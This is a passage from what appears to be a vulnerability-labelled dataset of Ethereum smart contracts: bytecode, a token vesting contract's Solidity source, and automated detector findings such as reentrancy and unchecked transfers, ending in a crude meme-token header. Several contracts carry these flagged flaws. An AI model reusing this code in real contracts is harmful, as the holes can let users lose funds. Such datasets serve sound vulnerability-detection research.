60e51b815260040161062e90611c3f565b601655565b6000546001600160a01b031633146108f05760405162461bcd60e51b815260040161062e90611c3f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161062e90611c3f565b601855565b6000546001600160a01b031633146109675760405162461bcd60e51b815260040161062e90611c3f565b600893909355600a91909155600955600b55565b60006106b0338484610cba565b6012546001600160a01b0316336001600160a01b031614806109bd57506013546001600160a01b0316336001600160a01b0316145b6109c657600080fd5b60006109d130610801565b90506107fe816112ee565b6000546001600160a01b03163314610a065760405162461bcd60e51b815260040161062e90611c3f565b60005b82811015610a77578160056000868685818110610a2857610a28611c74565b9050602002016020810190610a3d9190611aef565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6f81611ca0565b915050610a09565b50505050565b6000546001600160a01b03163314610aa75760405162461bcd60e51b815260040161062e90611c3f565b601755565b6000546001600160a01b03163314610ad65760405162461bcd60e51b815260040161062e90611c3f565b6001600160a01b038116610b3b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610c595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b038216610d805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b60008111610de25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6000546001600160a01b03848116911614801590610e0e57506000546001600160a01b03838116911614155b156110ef57601554600160a01b900460ff16610ea7576000546001600160a01b03848116911614610ea75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062e565b601654811115610ef95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062e565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3b57506001600160a01b03821660009081526010602052604090205460ff16155b610f935760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062e565b6015546001600160a01b038381169116146110185760175481610fb584610801565b610fbf9190611cbb565b106110185760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062e565b600061102330610801565b60185460165491925082101590821061103c5760165491505b8080156110535750601554600160a81b900460ff16155b801561106d57506015546001600160a01b03868116911614155b80156110825750601554600160b01b900460ff165b80156110a757506001600160a01b03851660009081526005602052604090205460ff16155b80156110cc57506001600160a01b03841660009081526005602052604090205460ff16155b156110ec576110da826112ee565b4780156110ea576110ea47611230565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113157506001600160a01b03831660009081526005602052604090205460ff165b8061116357506015546001600160a01b0385811691161480159061116357506015546001600160a01b03848116911614155b15611170575060006111ea565b6015546001600160a01b03858116911614801561119b57506014546001600160a01b03848116911614155b156111ad57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d857506014546001600160a01b03858116911614155b156111ea57600a54600c55600b54600d555b610a7784848484611477565b6000818484111561121a5760405162461bcd60e51b815260040161062e9190611a2d565b5060006112278486611cd3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069f573d6000803e3d6000fd5b60006006548211156112d15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062e565b60006112db6114a5565b90506112e783826114c8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133657611336611c74565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c29190611cea565b816001815181106113d5576113d5611c74565b6001600160a01b0392831660209182029290920101526014546113fb9130911684610b96565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611434908590600090869030904290600401611d07565b600060405180830381600087803b15801561144e57600080fd5b505af1158015611462573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114845761148461150a565b61148f848484611538565b80610a7757610a77600e54600c55600f54600d55565b60008060006114b261162f565b90925090506114c182826114c8565b9250505090565b60006112e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166f565b600c5415801561151a5750600d54155b1561152157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154a8761169d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157c90876116fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ab908661173c565b6001600160a01b0389166000908152600260205260409020556115cd8161179b565b6115d784836117e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164a82826114c8565b82101561166657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116905760405162461bcd60e51b815260040161062e9190611a2d565b5060006112278486611d78565b60008060008060008060008060006116ba8a600c54600d54611809565b92509250925060006116ca6114a5565b905060008060006116dd8e87878761185e565b919e509c509a509598509396509194505050505091939550919395565b60006112e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f6565b6000806117498385611cbb565b9050838110156112e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b60006117a56114a5565b905060006117b383836118ae565b306000908152600260205260409020549091506117d0908261173c565b30600090815260026020526040902055505050565b6006546117f290836116fa565b600655600754611802908261173c565b6007555050565b6000808080611823606461181d89896118ae565b906114c8565b90506000611836606461181d8a896118ae565b9050600061184e826118488b866116fa565b906116fa565b9992985090965090945050505050565b600080808061186d88866118ae565b9050600061187b88876118ae565b9050600061188988886118ae565b9050600061189b8261184886866116fa565b939b939a50919850919650505050505050565b6000826118bd575060006106b4565b60006118c98385611d9a565b9050826118d68583611d78565b146112e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fe57600080fd5b803561196381611943565b919050565b6000602080838503121561197b57600080fd5b823567ffffffffffffffff8082111561199357600080fd5b818501915085601f8301126119a757600080fd5b8135818111156119b9576119b961192d565b8060051b604051601f19603f830116810181811085821117156119de576119de61192d565b6040529182528482019250838101850191888311156119fc57600080fd5b938501935b82851015611a2157611a1285611958565b84529385019392850192611a01565b98975050505050505050565b600060208083528351808285015260005b81811015611a5a57858101830151858201604001528201611a3e565b81811115611a6c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9557600080fd5b8235611aa081611943565b946020939093013593505050565b600080600060608486031215611ac357600080fd5b8335611ace81611943565b92506020840135611ade81611943565b929592945050506040919091013590565b600060208284031215611b0157600080fd5b81356112e781611943565b8035801515811461196357600080fd5b600060208284031215611b2e57600080fd5b6112e782611b0c565b600060208284031215611b4957600080fd5b5035919050565b60008060008060808587031215611b6657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9757600080fd5b833567ffffffffffffffff80821115611baf57600080fd5b818601915086601f830112611bc357600080fd5b813581811115611bd257600080fd5b8760208260051b8501011115611be757600080fd5b602092830195509350611bfd9186019050611b0c565b90509250925092565b60008060408385031215611c1957600080fd5b8235611c2481611943565b91506020830135611c3481611943565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb457611cb4611c8a565b5060010190565b60008219821115611cce57611cce611c8a565b500190565b600082821015611ce557611ce5611c8a565b500390565b600060208284031215611cfc57600080fd5b81516112e781611943565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d575784516001600160a01b031683529383019391830191600101611d32565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db457611db4611c8a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122080c9afff0cd49cdff94650ae9ee0beae3c99e7088c27c1eeb977a1a50083078864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,630
0x432805e1283a5c60a3f87b3f19d8bbf581beb99e
/** *Submitted for verification at Etherscan.io on 2022-04-24 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @title interface of ERC 20 token * */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ abstract contract Ownable is Context { address private _owner; address private _newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Propose the new Owner of the smart contract */ function proposeOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _newOwner = newOwner; } /** * @dev Accept the ownership of the smart contract as a new Owner */ function acceptOwnership() public { require(msg.sender == _newOwner, "Ownable: caller is not the new owner"); require(_owner != address(0), "Ownable: ownership is renounched already"); emit OwnershipTransferred(_owner, _newOwner); _owner = _newOwner; } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract VISTokenVesting is Ownable{ using SafeMath for uint256; address public immutable VIS_TOKEN; // Contract Address of VIS Token struct VestedToken{ uint256 cliff; uint256 start; uint256 duration; uint256 releasedToken; uint256 totalToken; bool revoked; } mapping (address => VestedToken) public vestedUser; event TokenReleased(address indexed account, uint256 amount); event VestingRevoked(address indexed account); constructor (address VIS_token){ require(VIS_token != address(0)); VIS_TOKEN = VIS_token; } /** * @dev this will set the beneficiary with vesting * parameters provided * @param account address of the beneficiary for vesting * @param amount totalToken to be vested * @param cliff In seconds of one period in vesting * @param duration In seconds of total vesting * @param startAt UNIX timestamp in seconds from where vesting will start */ function setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt ) external returns(bool){ VestedToken storage vested = vestedUser[account]; if(vested.start > 0){ require(vested.revoked); uint unclaimedTokens = _vestedAmount(account).sub(vested.releasedToken); require(unclaimedTokens == 0); } IERC20(VIS_TOKEN).transferFrom(_msgSender(), address(this) ,amount); _setVesting(account, amount, cliff, duration, startAt); return true; } /** * @dev Calculates the amount that has already vested. * @param account address of the user */ function vestedToken(address account) external view returns (uint256) { return _vestedAmount(account); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param account address of user */ function releasableToken(address account) external view returns (uint256) { return _vestedAmount(account).sub(vestedUser[account].releasedToken); } /** * @dev Internal function to set default vesting parameters * @param account address of the beneficiary for vesting * @param amount totalToken to be vested * @param cliff In seconds of one period in vestin * @param duration In seconds of total vesting duration * @param startAt UNIX timestamp in seconds from where vesting will start * */ function _setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt) internal { require(account!=address(0)); require(startAt >= block.timestamp); require(cliff<=duration); VestedToken storage vested = vestedUser[account]; vested.cliff = cliff; vested.start = startAt; vested.duration = duration; vested.totalToken = amount; vested.releasedToken = 0; vested.revoked = false; } /** * @notice Transfers vested tokens to beneficiary. * anyone can release their token */ function releaseMyToken() external returns(bool) { releaseToken(msg.sender); return true; } /** * @notice Transfers vested tokens to the given account. * @param account address of the vested user */ function releaseToken(address account) public { require(account != address(0)); VestedToken storage vested = vestedUser[account]; uint256 unreleasedToken = _releasableAmount(account); // total releasable token currently require(unreleasedToken>0); vested.releasedToken = vested.releasedToken.add(unreleasedToken); IERC20(VIS_TOKEN).transfer(account,unreleasedToken); emit TokenReleased(account, unreleasedToken); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param account address of user */ function _releasableAmount(address account) internal view returns (uint256) { return _vestedAmount(account).sub(vestedUser[account].releasedToken); } /** * @dev Calculates the amount that has already vested. * @param account address of the user */ function _vestedAmount(address account) internal view returns (uint256) { VestedToken storage vested = vestedUser[account]; uint256 totalToken = vested.totalToken; if(block.timestamp < vested.start.add(vested.cliff)){ return 0; }else if(block.timestamp >= vested.start.add(vested.duration) || vested.revoked){ return totalToken; }else{ uint256 numberOfPeriods = (block.timestamp.sub(vested.start)).div(vested.cliff); return totalToken.mul(numberOfPeriods.mul(vested.cliff)).div(vested.duration); } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param account address in which the vesting is revoked */ function revoke(address account) external onlyOwner returns(bool) { VestedToken storage vested = vestedUser[account]; require(!vested.revoked); uint256 balance = vested.totalToken; uint256 vestedAmount = _vestedAmount(account); uint256 refund = balance.sub(vestedAmount); require(refund > 0); vested.revoked = true; vested.totalToken = vestedAmount; IERC20(VIS_TOKEN).transfer(owner(), refund); emit VestingRevoked(account); return true; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80637e851e13116100715780637e851e13146101795780638195ed241461019757806386cb9498146101cc5780638da5cb5b146101fc578063d5aea3f91461021a578063e545f94114610238576100b4565b80632a2eddde146100b95780633cfb4dcf146100e9578063710bf32214610119578063715018a61461013557806374a8f1031461013f57806379ba50971461016f575b600080fd5b6100d360048036038101906100ce919061120a565b610254565b6040516100e091906115ea565b60405180910390f35b61010360048036038101906100fe91906111e1565b6103c4565b6040516101109190611705565b60405180910390f35b610133600480360381019061012e91906111e1565b61042a565b005b61013d61055a565b005b610159600480360381019061015491906111e1565b6105e2565b60405161016691906115ea565b60405180910390f35b610177610824565b005b610181610a44565b60405161018e91906115ea565b60405180910390f35b6101b160048036038101906101ac91906111e1565b610a56565b6040516101c396959493929190611720565b60405180910390f35b6101e660048036038101906101e191906111e1565b610a9f565b6040516101f39190611705565b60405180910390f35b610204610ab1565b604051610211919061156f565b60405180910390f35b610222610ada565b60405161022f919061156f565b60405180910390f35b610252600480360381019061024d91906111e1565b610afe565b005b600080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816001015411156102f2578060050160009054906101000a900460ff166102c057600080fd5b60006102e182600301546102d38a610cb5565b610df090919063ffffffff16565b9050600081146102f057600080fd5b505b7f000000000000000000000000469084939d1c20fae3c73704fe963941c51be86373ffffffffffffffffffffffffffffffffffffffff166323b872dd610336610e4f565b30896040518463ffffffff1660e01b81526004016103569392919061158a565b602060405180830381600087803b15801561037057600080fd5b505af1158015610384573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a89190611281565b506103b68787878787610e57565b600191505095945050505050565b6000610423600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015461041584610cb5565b610df090919063ffffffff16565b9050919050565b610432610e4f565b73ffffffffffffffffffffffffffffffffffffffff16610450610ab1565b73ffffffffffffffffffffffffffffffffffffffff16146104a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049d906116c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050d90611605565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610562610e4f565b73ffffffffffffffffffffffffffffffffffffffff16610580610ab1565b73ffffffffffffffffffffffffffffffffffffffff16146105d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105cd906116c5565b60405180910390fd5b6105e06000610f41565b565b60006105ec610e4f565b73ffffffffffffffffffffffffffffffffffffffff1661060a610ab1565b73ffffffffffffffffffffffffffffffffffffffff1614610660576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610657906116c5565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060050160009054906101000a900460ff16156106bf57600080fd5b60008160040154905060006106d385610cb5565b905060006106ea8284610df090919063ffffffff16565b9050600081116106f957600080fd5b60018460050160006101000a81548160ff0219169083151502179055508184600401819055507f000000000000000000000000469084939d1c20fae3c73704fe963941c51be86373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610763610ab1565b836040518363ffffffff1660e01b81526004016107819291906115c1565b602060405180830381600087803b15801561079b57600080fd5b505af11580156107af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d39190611281565b508573ffffffffffffffffffffffffffffffffffffffff167f68d870ac0aff3819234e8a1fc8f357b40d75212f2dc8594b97690fa205b3bab260405160405180910390a26001945050505050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ab906116e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093b90611685565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610a4f33610afe565b6001905090565b60026020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050160009054906101000a900460ff16905086565b6000610aaa82610cb5565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f000000000000000000000000469084939d1c20fae3c73704fe963941c51be86381565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b3857600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000610b8683611005565b905060008111610b9557600080fd5b610bac81836003015461106b90919063ffffffff16565b82600301819055507f000000000000000000000000469084939d1c20fae3c73704fe963941c51be86373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401610c0f9291906115c1565b602060405180830381600087803b158015610c2957600080fd5b505af1158015610c3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c619190611281565b508273ffffffffffffffffffffffffffffffffffffffff167f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a9182604051610ca89190611705565b60405180910390a2505050565b600080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600401549050610d1d8260000154836001015461106b90919063ffffffff16565b421015610d2f57600092505050610deb565b610d4a8260020154836001015461106b90919063ffffffff16565b42101580610d6657508160050160009054906101000a900460ff165b15610d75578092505050610deb565b6000610da48360000154610d96856001015442610df090919063ffffffff16565b6110c990919063ffffffff16565b9050610de58360020154610dd7610dc886600001548561112790919063ffffffff16565b8561112790919063ffffffff16565b6110c990919063ffffffff16565b93505050505b919050565b600082821115610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90611645565b60405180910390fd5b60008284610e439190611873565b90508091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e9157600080fd5b42811015610e9e57600080fd5b81831115610eab57600080fd5b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508381600001819055508181600101819055508281600201819055508481600401819055506000816003018190555060008160050160006101000a81548160ff021916908315150217905550505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000611064600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015461105684610cb5565b610df090919063ffffffff16565b9050919050565b600080828461107a9190611792565b9050838110156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b690611625565b60405180910390fd5b8091505092915050565b600080821161110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490611665565b60405180910390fd5b6000828461111b91906117e8565b90508091505092915050565b60008083141561113a576000905061119c565b600082846111489190611819565b905082848261115791906117e8565b14611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e906116a5565b60405180910390fd5b809150505b92915050565b6000813590506111b18161194d565b92915050565b6000815190506111c681611964565b92915050565b6000813590506111db8161197b565b92915050565b6000602082840312156111f357600080fd5b6000611201848285016111a2565b91505092915050565b600080600080600060a0868803121561122257600080fd5b6000611230888289016111a2565b9550506020611241888289016111cc565b9450506040611252888289016111cc565b9350506060611263888289016111cc565b9250506080611274888289016111cc565b9150509295509295909350565b60006020828403121561129357600080fd5b60006112a1848285016111b7565b91505092915050565b6112b3816118a7565b82525050565b6112c2816118b9565b82525050565b60006112d5602683611781565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061133b601b83611781565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600061137b601e83611781565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b60006113bb601a83611781565b91507f536166654d6174683a206469766973696f6e206279207a65726f0000000000006000830152602082019050919050565b60006113fb602883611781565b91507f4f776e61626c653a206f776e6572736869702069732072656e6f756e6368656460008301527f20616c72656164790000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611461602183611781565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c7602083611781565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611507602483611781565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206e6577206f60008301527f776e6572000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611569816118e5565b82525050565b600060208201905061158460008301846112aa565b92915050565b600060608201905061159f60008301866112aa565b6115ac60208301856112aa565b6115b96040830184611560565b949350505050565b60006040820190506115d660008301856112aa565b6115e36020830184611560565b9392505050565b60006020820190506115ff60008301846112b9565b92915050565b6000602082019050818103600083015261161e816112c8565b9050919050565b6000602082019050818103600083015261163e8161132e565b9050919050565b6000602082019050818103600083015261165e8161136e565b9050919050565b6000602082019050818103600083015261167e816113ae565b9050919050565b6000602082019050818103600083015261169e816113ee565b9050919050565b600060208201905081810360008301526116be81611454565b9050919050565b600060208201905081810360008301526116de816114ba565b9050919050565b600060208201905081810360008301526116fe816114fa565b9050919050565b600060208201905061171a6000830184611560565b92915050565b600060c0820190506117356000830189611560565b6117426020830188611560565b61174f6040830187611560565b61175c6060830186611560565b6117696080830185611560565b61177660a08301846112b9565b979650505050505050565b600082825260208201905092915050565b600061179d826118e5565b91506117a8836118e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117dd576117dc6118ef565b5b828201905092915050565b60006117f3826118e5565b91506117fe836118e5565b92508261180e5761180d61191e565b5b828204905092915050565b6000611824826118e5565b915061182f836118e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611868576118676118ef565b5b828202905092915050565b600061187e826118e5565b9150611889836118e5565b92508282101561189c5761189b6118ef565b5b828203905092915050565b60006118b2826118c5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b611956816118a7565b811461196157600080fd5b50565b61196d816118b9565b811461197857600080fd5b50565b611984816118e5565b811461198f57600080fd5b5056fea2646970667358221220b14f7c95171b3a3bc7712ddc13d214ec87524393d5daf33d33abda1cb6026f9a64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,631
0xfa247066958637af6b4cc04bccecad2b6b107200
// ETHEREUM BIG BLACK COCK (eBBC🧑🏿🍆) // // TG: https://t.me/EthereumBigBlackCock // // Ethereum Big Black Cock is a DeFi protocol that fuses // the future of finance with the large pulsating BBC energy // into a sticky glorious mess that pumps! // Get involved today and feel the energy. // // - HUGE Total supply of 10 Trillion // - Burning of 20%+ of supply // - 100% of remaining liquidity provided // - 5% token transfer reflection to holders // - Cooldown features embedded // - Anti-bots measures in place // - Sellers tax to incentivize BIG holding // - Fully stealth & fair launch! // // // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.5; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 